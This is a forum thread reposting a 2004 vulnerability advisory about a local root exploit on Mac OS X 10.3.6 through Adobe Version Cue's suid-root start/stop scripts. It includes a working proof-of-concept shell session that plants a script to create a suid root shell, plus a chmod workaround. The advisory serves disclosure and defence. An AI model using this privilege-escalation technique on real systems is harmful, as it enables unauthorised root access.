Welcome to the MacNN Forums.

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed. To start viewing messages, select the forum that you want to visit from the selection below.

You are here: MacNN Forums > Software - Troubleshooting and Discussion > Applications > Local root exploit on Mac OS X 10.3.6 with Adobe products installed

Local root exploit on Mac OS X 10.3.6 with Adobe products installed
Thread Tools
Fresh-Faced Recruit
Join Date: Jun 2000
Location: Philadelphia, PA, USA
Status: Offline
Reply With Quote
Dec 6, 2004, 09:43 PM
 
Local root exploit on Mac OS X 10.3.6 with Adobe products installed
Found by Jonathan Bringhurst <fintler@gmail.com.NOSPAM>
December 6, 2004

Summary:

It's possible to create a suid root shell with a non-privileged user on a Mac OS X 10.3.6 system with Adobe Version Cue installed. This most likely affects many versions of Mac OS X and Adobe Version Cue.

Details:

Scripts to start and stop Adobe Version Cue are suid root and do not make any checks to see if they are running from the correct path. By setting the current path to a controlled directory and creating scripts with specific names, a user can have a custom script run euid root.

Proof of concept:

Code:
haven:~ fintler$ cd ~ haven:~ fintler$ id uid=502(fintler) gid=500(fintler) groups=500(fintler) haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh haven:~ fintler$ chmod 0755 ./productname.sh haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh . haven:~ fintler$ ./stopserver.sh Stopping ... ./stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or directory No matching processes belonging to you were found haven:~ fintler$ ./sh sh-2.05b# id uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler) sh-2.05b# whoami root sh-2.05b#
Work Around:

The following may disable aspects of Adobe Version Cue but should temporarily fix the issue:
'sudo chmod 0755 /Applications/Adobe\ Version\ Cue/stopserver.sh'
'sudo chmod 0755 /Applications/Adobe\ Version\ Cue/startserver.sh'
(Last edited by fintler; Dec 6, 2004 at 10:34 PM. )
     
Registered User
Join Date: Apr 2003
Location: The Internets
Status: Offline
Reply With Quote
Dec 6, 2004, 09:50 PM
 
cool. i'll pass it on.
     
   
Thread Tools
Forum Links
Forum Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Top
Privacy Policy
All times are GMT -5. The time now is 07:15 AM.
All contents of these forums © 1995-2011 MacNN. All rights reserved.
Branding + Design: www.gesamtbild.com
vBulletin v.3.8.7 © 2000-2011, Jelsoft Enterprises Ltd., Content Relevant URLs by vBSEO 3.3.2